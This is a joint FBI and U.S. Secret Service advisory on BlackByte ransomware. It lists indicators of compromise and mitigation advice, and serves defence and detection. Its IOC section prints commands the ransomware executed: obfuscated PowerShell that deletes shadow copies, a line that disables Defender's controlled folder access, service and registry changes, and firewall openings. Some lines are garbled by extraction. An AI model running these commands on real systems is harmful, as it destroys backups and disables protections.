CYBERSECURITY ADVISORY

Co-Authored by:

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Indicators of Compromise Associated with BlackByte Ransomware

SUMMARY

This joint Cybersecurity Advisory was developed by the Federal Bureau of Investigation (FBI) and the U.S. Secret Service (USSS) to provide information on BlackByte ransomware. As of November 2021, BlackByte ransomware had compromised multiple US and foreign businesses, including entities in at least three US critical infrastructure sectors (government facilities, financial, and food & agriculture). BlackByte is a Ransomware as a Service (RaaS) group that encrypts files on compromised Windows host systems, including physical and virtual servers.

TECHNICAL DETAILS

The BlackByte executable leaves a ransom note in all directories where encryption occurs. The ransom note includes the .onion site that contains instructions for paying the ransom and receiving a decryption key. Some victims reported the actors used a known Microsoft Exchange Server vulnerability as a means of gaining access to their networks. Once in, actors deploy tools to move laterally across the network and escalate privileges before exfiltrating and encrypting files. In some instances, BlackByte ransomware actors have only partially encrypted files. In cases where decryption is not possible, some data recovery can occur. Previous versions of BlackByte ransomware downloaded a .png file from IP addresses 185.93.6.31 and 45.9.148.114 prior to encryption. A newer version encrypts without communicating with any external IP addresses. BlackByte ransomware runs executables from c:\windows\system32\ and C:\Windows\. Process injection has been observed on processes it creates.

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at <u>www.fbi.gov/contact-us/field-offices</u> or U.S. Secret Service Field Office at <u>www.secretservice.gov/contact/field-offices/</u>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at <u>CISAServiceDesk@cisa.dhs.gov</u>.

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Indicators of Compromise

The following indicators of compromise (IOCs) are assessed to be associated with BlackByte activity:

Suspicious files discovered in the following locations:
Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET
Files\root\e22c2559\92c7e946
inetpub\wwwroot\aspnet_client
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current
Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes
Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts
Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium

The filenames for suspicious ASPX files appeared to have the following naming conventions:

- <5 random alphabetical characters>.aspx
- error<2 capital letters>.aspx
- iismeta<4 random numbers>.aspx

Suspicious files were also discovered at:
%AppData%\BB.ico
This file is the icon given to files with a .blackbyte file extension.
%AppData%\BlackByteRestore.txt
This file is the ransom note that is left in every folder where files are encrypted.
%AppData%\dummy
This file is a text file containing a list of machine names that can be reached on the
network.
%HOMEPATH%\complex.exe
This file is the ransomware executable.
Users\tree.dll
This file contains the message "Your HACKED by BlackByte team. Connect us to restore

your system." (SIC)

Scheduled tasks may be created and artifacts have been observed at Windows\System32\Tasks:

C:\Users\<username>\complex.exe -single <SHA256>.

This command appears to launch the ransomware.

C:\Windows\System32\cmd.exe /c for /l %x in (1,1,75) do start wordpad.exe /p C:\Users\tree.dll.

This command attempts to open tree.dll in wordpad 75 times and then prints the contents.

IIS logs contain GET and POST requests to various malicious ASPX files that follow a pattern of "<FILE_PATH>/<SUSPICIOUS_FILENAME>.aspxexec_code=Response.Write"

Below is a list of hashes of suspicious files that have been observed on systems affected by BlackByte ransomware:

959a7df5c465fcd963a641d87c18a565
5f40e1859053b70df9c0753d327f2cee
df7befc8cdc3c5434ef27cc669fb1e4b
51f2cf541f004d3c1fa8b0f94c89914a
d9e94f076d175ace80f211ea298fa46e
8320d9ec2eab7f5ff49186b2e630a15f
cea6be26d81a8ff3db0d9da666cd0f8f
31f818372fa07d1fd158c91510b6a077
d9e94f076d175ace80f211ea298fa46e
a9cf6dce244ad9afd8ca92820b9c11b9
7139415fecd716bec6d38d2004176f5d
c13bf39e2f8bf49c9754de7fb1396a33
5c0a549ae45d9abe54ab662e53c484e2
ad29212716d0b074d976ad7e33b8f35f
d4aa276a7fbe8dcd858174eeacbb26ce
9344afc63753cd5e2ee0ff9aed43dc56
e2eb5b57a8765856be897b4f6dadca18
58e8043876f2f302fbc98d00c270778b
d2a15e76a4bfa7eb007a07fc8738edfb
e46bfbdf1031ea5a383040d0aa598d45

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Below is a list of observed commands that were executed by complex.exe:

Observed Commands:

cmd.exe /c powershell -command "\$x =

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA' +'G4ARAB'+'IAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name \$x;Set-Service -StartupType Disabled \$x"

schtasks.exe /DELETE /TN "\"Raccine Rules Updater\"" /F

cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded

cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded

cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded

cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded

cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB

cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded powershell.exe \$x =

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBIA HQALQBXAG0AaQBPAGIAagBIAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAb wB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A CAAewAkA'+'F8ALgBEAGUAbABIAHQAZQAoACkAOwB9AA=='));Invoke-Expression \$x

sc.exe config SQLTELEMETRY start= disabled

sc.exe config SQLTELEMETRY\$ECWDB2 start= disabled

sc.exe config SQLWriter start= disabled

sc.exe config SstpSvc start= disabled

powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled

sc.exe config MBAMService start= disabled

sc.exe config wuauserv start= disabled

sc.exe config Dnscache start= auto

sc.exe config fdPHost start= auto

sc.exe config FDResPub start= auto

sc.exe config SSDPSRV start= auto

sc.exe config upnphost start= auto

sc.exe config RemoteRegistry start= auto

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cmd.exe /c netsh advfirewall firewall set rule "group=\"Network Discovery\"" new enable=Yes

cmd.exe /c netsh advfirewall firewall set rule "group=\"File and Printer Sharing\"" new enable=Yes

cmd.exe /c reg add

 $HKLM\SOFTWARE\Microsoft\Windows\Current\Version\Policies\System\/v$

LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

cmd.exe /c reg add

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f

cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f

mountvol.exe A: \\?\Volume{d7e47829-0000-0000-0000-1000000000}

mountvol.exe B: \\?\Volume{d7e47829-0000-0000-b0e21300000}\

mountvol.exe E: $\$ E: $\$ bound fce79ce0-b01f-11e6-b968-806e6f6e6963}

powershell.exe Install-WindowsFeature -Name \"RSAT-AD-PowerShell\" -

IncludeAllSubFeature

net.exe view

arp.exe -a

powershell.exe Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | FT Name

notepad.exe %appdata%\RestoreMyFiles_BlackByte.txt

cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del C:\Users\REM\Desktop\hybrid-9-8\complex.exe

The base64 encoded string in the following command:

powershell.exe \$x =

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBIA HQALQBXAG0AaQBPAGIAagBIAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAb wB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A CAAewAkA'+'F8ALgBEAGUAbABIAHQAZQAoACkAOwB9AA=='));Invoke-Expression \$x

Decodes to:

Get-WmiObject Win32_Shadowcopy | ForEach-Object {\$_.Delete();}

The base64 encoded string in the following command:

cmd.exe /c powershell -command "\$x =

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA'+'G4ARA B'+'IAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name \$x;Set-Service -StartupType Disabled \$x"

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- Implement regular backups of all data to be stored as air gapped, password protected copies offline. Ensure these copies are not accessible for modification or deletion from any system where the original data resides.
- Implement network segmentation, such that all machines on your network are not accessible from every other machine.
- Install and regularly update antivirus software on all hosts, and enable real time detection.
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
- Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
- Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
- Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity.
- Consider adding an email banner to emails received from outside your organization.
- Disable hyperlinks in received emails.
- Use double authentication when logging into accounts or services.
- Ensure routine auditing is conducted for all accounts.
- Ensure all the identified IOCs are input into the network SIEM for continuous monitoring and alerts.

RESOURCES

- For additional resources related to the prevention and mitigation of ransomware, go to <u>https://www.stopransomware.gov</u> as well as the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. Stopransomware.gov is the Government's official one-stop location for resources to tackle ransomware more effectively.
- CISA's <u>Ransomware Readiness Assessment (RRA)</u> is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident.
- CISA offers a range of no-cost <u>cyber hygiene services</u> to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.